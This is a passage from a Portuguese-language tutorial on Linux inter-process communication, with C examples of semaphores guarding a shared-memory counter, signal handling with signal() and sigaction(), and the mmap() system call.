O segundo argumento, semnum, é o número do semáforo. Os semáforos são numerados a partir de 0.
O terceiro argumento, cmd, é o comando para executar a operação de controle necessária no semáforo.
O quarto argumento, do tipo, união semun, depende do cmd. Para alguns casos, o quarto argumento não é aplicável.
Vamos verificar o sindicato semun -
union semun {
int val; /* val for SETVAL */
struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */
unsigned short *array; /* Buffer for GETALL and SETALL */
struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/
};
A estrutura de dados semid_ds que é definida em sys / sem.h é a seguinte -
struct semid_ds {
struct ipc_perm sem_perm; /* Permissions */
time_t sem_otime; /* Last semop time */
time_t sem_ctime; /* Last change time */
unsigned long sem_nsems; /* Number of semaphores in the set */
};
Note - Consulte as páginas do manual para outras estruturas de dados.
união semun arg; Os valores válidos para cmd são -
IPC_STAT- Copia as informações dos valores atuais de cada membro de struct semid_ds para a estrutura passada apontada por arg.buf. Este comando requer permissão de leitura para o semáforo.
IPC_SET - Define o ID do usuário, ID do grupo do proprietário, permissões, etc. apontados pela estrutura semid_ds.
IPC_RMID - Remove o conjunto de semáforos.
IPC_INFO - Retorna a informação sobre os limites e parâmetros do semáforo na estrutura semid_ds apontada por arg .__ buf.
SEM_INFO - Retorna uma estrutura seminfo contendo informações sobre os recursos do sistema consumidos pelo semáforo.
Esta chamada retornaria um valor (valor não negativo) dependendo do comando passado. Após o sucesso, IPC_INFO e SEM_INFO ou SEM_STAT retorna o índice ou identificador da entrada mais alta usada de acordo com o Semaphore ou o valor de semncnt para GETNCNT ou o valor de sempid para GETPID ou o valor de semval para GETVAL 0 para outras operações em sucesso e - 1 em caso de falha. Para saber a causa da falha, verifique a variável errno ou a função perror ().
Antes de examinar o código, vamos entender sua implementação -
Crie dois processos, digamos, filho e pai.
Crie a memória compartilhada necessária principalmente para armazenar o contador e outros sinalizadores para indicar o fim do processo de leitura / gravação na memória compartilhada.
O contador é incrementado pela contagem pelos processos pai e filho. A contagem é passada como um argumento de linha de comando ou considerada como padrão (se não for passada como um argumento de linha de comando ou o valor for menor que 10.000). Chamado com certo tempo de sono para garantir que ambos, pai e filho, acessem a memória compartilhada ao mesmo tempo, ou seja, em paralelo.
Como o contador é incrementado em etapas de 1 tanto pelo pai quanto pelo filho, o valor final deve ser o dobro do contador. Como os processos pai e filho realizam as operações ao mesmo tempo, o contador não é incrementado conforme necessário. Portanto, precisamos garantir a integridade de uma conclusão de processo seguida por outro processo.
Todas as implementações acima são realizadas no arquivo shm_write_cntr.c
Verifique se o valor do contador está implementado no arquivo shm_read_cntr.c
Para garantir a conclusão, o programa semáforo é implementado no arquivo shm_write_cntr_with_sem.c. Remova o semáforo após a conclusão de todo o processo (após a leitura ser feita de outro programa)
Uma vez que temos arquivos separados para ler o valor do contador na memória compartilhada e não temos nenhum efeito na escrita, o programa de leitura permanece o mesmo (shm_read_cntr.c)
É sempre melhor executar o programa de escrita em um terminal e ler o programa em outro terminal. Uma vez que o programa conclui a execução somente depois que o processo de gravação e leitura é concluído, está ok para executar o programa depois de executar completamente o programa de gravação. O programa de gravação esperaria até que o programa de leitura fosse executado e só terminaria depois de concluído.
Programas sem semáforos.
/* Filename: shm_write_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
Etapas de compilação e execução
Total Count is 10000
SHM_WRITE: PARENT: Now writing
SHM_WRITE: CHILD: Now writing
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Agora, vamos verificar o programa de leitura de memória compartilhada.
/* Filename: shm_read_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
int total_count;
int cntr;
int sleep_time;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Read the shared memory cntr and print it on standard output */
while (shmp->write_complete != 1) {
if (shmp->cntr == -1) {
perror("read");
return 1;
}
sleep(3);
}
printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
shmp->read_complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Etapas de compilação e execução
Reading Process: Shared Memory: Counter is 11000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Se você observar a saída acima, o contador deve ser 20000, entretanto, como antes da conclusão de uma tarefa de processo outro processo também está processando em paralelo, o valor do contador não é o esperado. A saída varia de sistema para sistema e também varia com cada execução. Para garantir que os dois processos executem a tarefa após a conclusão de uma tarefa, ele deve ser implementado usando mecanismos de sincronização.
Agora, vamos verificar o mesmo aplicativo usando semáforos.
Note - O programa de leitura permanece o mesmo.
/* Filename: shm_write_cntr_with_sem.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach: ");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
remove_semaphore();
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
int semid;
struct sembuf sem_buf;
struct semid_ds buf;
int tries;
int retval;
semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
//printf("errno is %d and semid is %d\n", errno, semid);
/* Got the semaphore */
if (semid >= 0) {
printf("First Process\n");
sem_buf.sem_op = 1;
sem_buf.sem_flg = 0;
sem_buf.sem_num = 0;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Operation: ");
return;
}
} else if (errno == EEXIST) { // Already other process got it
int ready = 0;
printf("Second Process\n");
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Semaphore GET: ");
return;
}
/* Waiting for the resource */
sem_buf.sem_num = 0;
sem_buf.sem_op = 0;
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
}
sem_buf.sem_num = 0;
sem_buf.sem_op = -1; /* Allocating the resources */
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
sem_buf.sem_op = 1; /* Releasing the resource */
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked\n");
return;
}
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
void remove_semaphore() {
int semid;
int retval;
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Remove Semaphore: Semaphore GET: ");
return;
}
retval = semctl(semid, 0, IPC_RMID);
if (retval == -1) {
perror("Remove Semaphore: Semaphore CTL: ");
return;
}
return;
}
Etapas de compilação e execução
Total Count is 10000
First Process
SHM_WRITE: PARENT: Now writing
Second Process
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Now writing
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Agora, vamos verificar o valor do contador pelo processo de leitura.
Etapas de execução
Reading Process: Shared Memory: Counter is 20000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
UMA signalé uma notificação a um processo indicando a ocorrência de um evento. O sinal também é chamadosoftware interrupt e não é previsível saber sua ocorrência, portanto, também é chamado de asynchronous event.
O sinal pode ser especificado com um número ou nome, geralmente os nomes dos sinais começam com SIG. Os sinais disponíveis podem ser verificados com o comando kill –l (l para Listar nomes de sinais), que é o seguinte -
Sempre que um sinal é gerado (seja programaticamente ou sinal gerado pelo sistema), uma ação padrão é executada. E se você não quiser realizar a ação padrão, mas desejar realizar suas próprias ações ao receber o sinal? Isso é possível para todos os sinais? Sim, é possível controlar o sinal, mas não para todos os sinais. E se você quiser ignorar os sinais, isso é possível? Sim, é possível ignorar o sinal. Ignorar o sinal implica em não realizar a ação padrão nem manipular o sinal. É possível ignorar ou controlar quase todos os sinais. Os sinais que não podem ser ignorados ou manipulados / capturados são SIGSTOP e SIGKILL.
Em resumo, as ações realizadas para os sinais são as seguintes -
- Ação padrão
- Lidar com o sinal
- Ignore o sinal
Conforme discutido, o sinal pode ser manipulado alterando a execução da ação padrão. O tratamento de sinais pode ser feito de uma das duas maneiras, ou seja, por meio de chamadas de sistema, signal () e sigaction ().
#include <signal.h>
typedef void (*sighandler_t) (int);
sighandler_t signal(int signum, sighandler_t handler);
O sinal de chamada do sistema () chamaria o manipulador registrado na geração do sinal, conforme mencionado no signum. O manipulador pode ser um dos SIG_IGN (Ignorando o Sinal), SIG_DFL (Configurando o sinal de volta para o mecanismo padrão) ou o manipulador de sinal definido pelo usuário ou endereço de função.
Essa chamada de sistema em caso de sucesso retorna o endereço de uma função que recebe um argumento inteiro e não tem valor de retorno. Esta chamada retorna SIG_ERR em caso de erro.
Embora com signal () o respectivo manipulador de sinal registrado pelo usuário possa ser chamado, ajustes finos como mascarar os sinais que deveriam ser bloqueados, modificar o comportamento de um sinal e outras funcionalidades não são possíveis. Isso é possível usando a chamada de sistema sigaction ().
#include <signal.h>
int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)
Esta chamada de sistema é usada para examinar ou alterar uma ação de sinal. Se o ato não for nulo, a nova ação para sinal signum é instalada a partir do ato. Se oldact não for nulo, a ação anterior será salva em oldact.
A estrutura de sigaction contém os seguintes campos -
Field 1 - Handler mencionado em sa_handler ou sa_sigaction.
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
O manipulador para sa_handler especifica a ação a ser executada com base no signum e com SIG_DFL indicando a ação padrão ou SIG_IGN para ignorar o sinal ou ponteiro para uma função de tratamento de sinal.
O manipulador para sa_sigaction especifica o número do sinal como o primeiro argumento, o ponteiro para a estrutura siginfo_t como o segundo argumento e o ponteiro para o contexto do usuário (verifique getcontext () ou setcontext () para obter mais detalhes) como o terceiro argumento.
A estrutura siginfo_t contém informações do sinal, como o número do sinal a ser entregue, valor do sinal, id do processo, id do usuário real do processo de envio, etc.
Field 2 - Conjunto de sinais a serem bloqueados.
int sa_mask;
Esta variável especifica a máscara de sinais que deve ser bloqueada durante a execução do manipulador de sinais.
Field 3 - Bandeiras especiais.
int sa_flags;
Este campo especifica um conjunto de sinalizadores que modificam o comportamento do sinal.
Field 4 - Restaure o manipulador.
void (*sa_restorer) (void);
Esta chamada de sistema retorna 0 em caso de sucesso e -1 em caso de falha.
Vamos considerar alguns programas de amostra.
Primeiro, vamos começar com um programa de amostra, que gera exceção. Neste programa, estamos tentando realizar a operação de divisão por zero, o que faz com que o sistema gere uma exceção.
/* signal_fpe.c */
#include<stdio.h>
int main() {
int result;
int v1, v2;
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
Etapas de compilação e execução
Floating point exception (core dumped)
Assim, quando estamos tentando realizar uma operação aritmética, o sistema gerou uma exceção de ponto flutuante com dump de núcleo, que é a ação padrão do sinal.
Agora, vamos modificar o código para lidar com esse sinal específico usando a chamada do sistema signal ().
/* signal_fpe_handler.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_dividebyzero(int signum);
int main() {
int result;
int v1, v2;
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
void handler_dividebyzero(int signum) {
if (signum == SIGFPE) {
printf("Received SIGFPE, Divide by Zero Exception\n");
exit (0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Etapas de compilação e execução
Received SIGFPE, Divide by Zero Exception
Conforme discutido, os sinais são gerados pelo sistema (ao realizar certas operações, como dividir por zero, etc.) ou o usuário também pode gerar o sinal programaticamente. Se você deseja gerar o sinal programaticamente, use a função de biblioteca raise ().
Agora, vamos usar outro programa para demonstrar como lidar e ignorar o sinal.
Suponha que levantamos um sinal usando raise (), o que acontece então? Após levantar o sinal, a execução do processo atual é interrompida. Então o que acontece com o processo interrompido? Pode haver dois cenários - primeiro, continue a execução sempre que necessário. Em segundo lugar, termine (com o comando kill) o processo.
Para continuar a execução do processo interrompido, envie SIGCONT para esse processo específico. Você também pode emitir os comandos fg (foreground) ou bg (background) para continuar a execução. Aqui, os comandos apenas reiniciariam a execução do último processo. Se mais de um processo for interrompido, apenas o último processo será retomado. Se desejar retomar o processo interrompido anteriormente, retome os trabalhos (usando fg / bg) junto com o número do trabalho.
O programa a seguir é usado para aumentar o sinal SIGSTOP usando a função raise (). O sinal SIGSTOP também pode ser gerado pressionando a tecla CTRL + Z (Control + Z) pelo usuário. Após emitir este sinal, o programa irá parar de executar. Envie o sinal (SIGCONT) para continuar a execução.
No exemplo a seguir, estamos retomando o processo interrompido com o comando fg.
/* signal_raising.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
int main() {
printf("Testing SIGSTOP\n");
raise(SIGSTOP);
return 0;
}
Etapas de compilação e execução
Testing SIGSTOP
[1]+ Stopped ./a.out
./a.out
Agora, aprimore o programa anterior para continuar a execução do processo interrompido emitindo SIGCONT de outro terminal.
/* signal_stop_continue.c */
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>
void handler_sigtstp(int signum);
int main() {
pid_t pid;
printf("Testing SIGSTOP\n");
pid = getpid();
printf("Open Another Terminal and issue following command\n");
printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
raise(SIGSTOP);
printf("Received signal SIGCONT\n");
return 0;
}
Etapas de compilação e execução
Testing SIGSTOP
Open Another Terminal and issue following command
kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379
[1]+ Stopped ./a.out
Received signal SIGCONT
[1]+ Done ./a.out
Em outro terminal
kill -SIGCONT 30379
Até agora, vimos o programa que trata o sinal gerado pelo sistema. Agora, vamos ver o sinal gerado pelo programa (usando a função raise () ou o comando kill). Este programa gera o sinal SIGTSTP (parada do terminal), cuja ação padrão é parar a execução. No entanto, como estamos lidando com o sinal agora em vez da ação padrão, ele chegará ao manipulador definido. Nesse caso, estamos apenas imprimindo a mensagem e saindo.
/* signal_raising_handling.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
return 0;
}
void handler_sigtstp(int signum) {
if (signum == SIGTSTP) {
printf("Received SIGTSTP\n");
exit(0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Etapas de compilação e execução
Testing SIGTSTP
Received SIGTSTP
Vimos as instâncias de execução de ação padrão ou manipulação do sinal. Agora é hora de ignorar o sinal. Aqui, neste programa de amostra, estamos registrando o sinal SIGTSTP para ignorar por meio de SIG_IGN e, em seguida, estamos aumentando o sinal SIGTSTP (parada do terminal). Quando o sinal SIGTSTP está sendo gerado, ele será ignorado.
/* signal_raising_ignoring.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
printf("Signal SIGTSTP is ignored\n");
return 0;
}
Etapas de compilação e execução
Testing SIGTSTP
Signal SIGTSTP is ignored
Até agora, observamos que temos um manipulador de sinal para lidar com um sinal. Podemos ter um único manipulador para lidar com vários sinais? A resposta é sim. Vamos considerar isso com um programa.
O programa a seguir faz o seguinte -
Step 1 - Registra um manipulador (handleSignals) para capturar ou manipular os sinais SIGINT (CTRL + C) ou SIGQUIT (CTRL + \)
Step 2 - Se o usuário gerar o sinal SIGQUIT (por meio do comando kill ou do controle do teclado com CTRL + \), o manipulador simplesmente imprime a mensagem como retorno.
Step 3 - Se o usuário gerar o sinal SIGINT (por meio do comando kill ou do controle do teclado com CTRL + C) na primeira vez, ele modifica o sinal para executar a ação padrão (com SIG_DFL) na próxima vez.
Step 4 - Se o usuário gerar o sinal SIGINT pela segunda vez, ele executa uma ação padrão, que é o encerramento do programa.
/* Filename: sigHandler.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerInterrupt)(int);
void (*sigHandlerQuit)(int);
void (*sigHandlerReturn)(int);
sigHandlerInterrupt = sigHandlerQuit = handleSignals;
sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (1) {
printf("\nTo terminate this program, perform the following: \n");
printf("1. Open another terminal\n");
printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou pressed CTRL+C \n");
printf("Now reverting SIGINT signal to default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou pressed CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Etapas de compilação e execução
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^\You pressed CTRL+\
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 120
Terminated
Outro Terminal
kill 71
Segundo método
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
Sabemos que, para lidar com um sinal, temos duas chamadas de sistema, ou seja, signal () ou sigaction (). Até agora vimos com a chamada de sistema signal (), agora é hora da chamada de sistema sigaction (). Vamos modificar o programa acima para funcionar usando sigaction () da seguinte forma -
/* Filename: sigHandlerSigAction.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerReturn)(int);
struct sigaction mysigaction;
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGINT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGQUIT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (-1) {
printf("\nTo terminate this program, perform either of the following: \n");
printf("1. Open another terminal and issue command: kill %d\n", getpid());
printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou have entered CTRL+C \n");
printf("Now reverting SIGINT signal to perform default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou have entered CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Vamos ver o processo de compilação e execução. No processo de execução, vamos ver o problema CTRL + C duas vezes, as verificações / maneiras restantes (como acima) que você pode tentar para este programa também.
Etapas de compilação e execução
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
You have entered CTRL+C
Now reverting SIGINT signal to perform default action
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
A chamada de sistema mmap () fornece mapeamento no espaço de endereço virtual do processo de chamada que mapeia os arquivos ou dispositivos na memória. Isso é de dois tipos -
File mapping or File-backed mapping- Este mapeamento mapeia a área da memória virtual do processo para os arquivos. Isso significa que ler ou gravar nessas áreas da memória faz com que o arquivo seja lido ou gravado. Este é o tipo de mapeamento padrão.
Anonymous mapping- Este mapeamento mapeia a área da memória virtual do processo sem o apoio de nenhum arquivo. O conteúdo é inicializado em zero. Esse mapeamento é semelhante à alocação de memória dinâmica (malloc ()) e é usado em algumas implementações de malloc () para certas alocações.
A memória em um mapeamento de processo pode ser compartilhada com mapeamentos em outros processos. Isso pode ser feito de duas maneiras -
Quando dois processos mapeiam a mesma região de um arquivo, eles compartilham as mesmas páginas de memória física.
Se um processo filho for criado, ele herda os mapeamentos do pai e esses mapeamentos referem-se às mesmas páginas da memória física do pai. Após qualquer alteração de dados no processo filho, páginas diferentes seriam criadas para o processo filho.
Quando dois ou mais processos compartilham as mesmas páginas, cada processo pode ver as alterações do conteúdo da página feitas por outros processos, dependendo do tipo de mapeamento. O tipo de mapeamento pode ser privado ou compartilhado -
Private Mapping (MAP_PRIVATE) - As modificações no conteúdo deste mapeamento não são visíveis para outros processos e o mapeamento não é transportado para o arquivo subjacente.
Shared Mapping (MAP_SHARED) - As modificações no conteúdo deste mapeamento são visíveis para outros processos e o mapeamento é transportado para o arquivo subjacente.
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
A chamada de sistema acima retorna o endereço inicial do mapeamento em caso de sucesso ou MAP_FAILED em caso de erro.
O endereço virtual addr pode ser especificado pelo usuário ou gerado pelo kernel (ao passar addr como NULL). O comprimento do campo indicado requer o tamanho do mapeamento em bytes. O campo prot indica valores de proteção de memória como PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC destinados a regiões que não podem ser acessadas, lidas, escritas ou executadas respectivamente. Este valor pode ser único (PROT_NONE) ou pode ser ORd com qualquer um dos três sinalizadores (últimos 3). Os sinalizadores de campo indicam o tipo de mapeamento ou MAP_PRIVATE ou MAP_SHARED. O campo 'fd' indica o descritor do arquivo que identifica o arquivo a ser mapeado e o campo 'offset' indica o ponto de partida do arquivo, caso seja necessário mapear todo o arquivo, o offset deve ser zero.
#include <sys/mman.h>
int munmap(void *addr, size_t length);
A chamada de sistema acima retorna 0 em caso de sucesso ou -1 em caso de erro.
A chamada de sistema munmap, executa o desmapeamento da região já mapeada na memória. Os campos addr indicam o endereço inicial do mapeamento e o comprimento indica o tamanho em bytes do mapeamento a ser desmapeado. Normalmente, o mapeamento e desmapeamento seria para todas as regiões mapeadas. Se tiver que ser diferente, deve ser encolhido ou cortado em duas partes. Se o addr não tiver nenhum mapeamento, esta chamada não terá efeito e a chamada retorna 0 (sucesso).
Vamos considerar um exemplo -
Step 1 - Grave em arquivo Alfa caracteres numéricos conforme mostrado abaixo -
0 | 1 | 2 | … | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | … | 59 | 60 | 61 |
A | B | C | … | Z | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | b | c | … | x | y | z |
Step 2- Mapeie o conteúdo do arquivo na memória usando a chamada de sistema mmap (). Isso retornaria o endereço inicial depois de mapeado na memória.
Step 3- Acesse o conteúdo do arquivo usando a notação de array (também pode acessar com a notação de ponteiro), pois não lê a dispendiosa chamada de sistema read (). Usando o mapeamento de memória, evite cópias múltiplas entre o espaço do usuário, os buffers do espaço do kernel e o cache do buffer.
Step 4 - Repita a leitura do conteúdo do arquivo até que o usuário digite “-1” (significa fim de acesso).
Step 5 - Execute atividades de limpeza, ou seja, desmapeando a região de memória mapeada (munmap ()), fechando o arquivo e removendo o arquivo.
/* Filename: mmap_test.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();
int main() {
struct stat mmapstat;
char *data;
int minbyteindex;
int maxbyteindex;
int offset;
int fd;
int unmapstatus;
write_mmap_sample_data();
if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
perror("stat failure");
return 1;
}
if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
perror("open failure");
return 1;
}
data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (data == (caddr_t)(-1)) {
perror("mmap failure");
return 1;
}
minbyteindex = 0;
maxbyteindex = mmapstat.st_size - 1;
do {
printf("Enter -1 to quit or ");
printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
scanf("%d",&offset);
if ( (offset >= 0) && (offset <= maxbyteindex) )
printf("Received char at %d is %c\n", offset, data[offset]);
else if (offset != -1)
printf("Received invalid index %d\n", offset);
} while (offset != -1);
unmapstatus = munmap(data, mmapstat.st_size);
if (unmapstatus == -1) {
perror("munmap failure");
return 1;
}
close(fd);
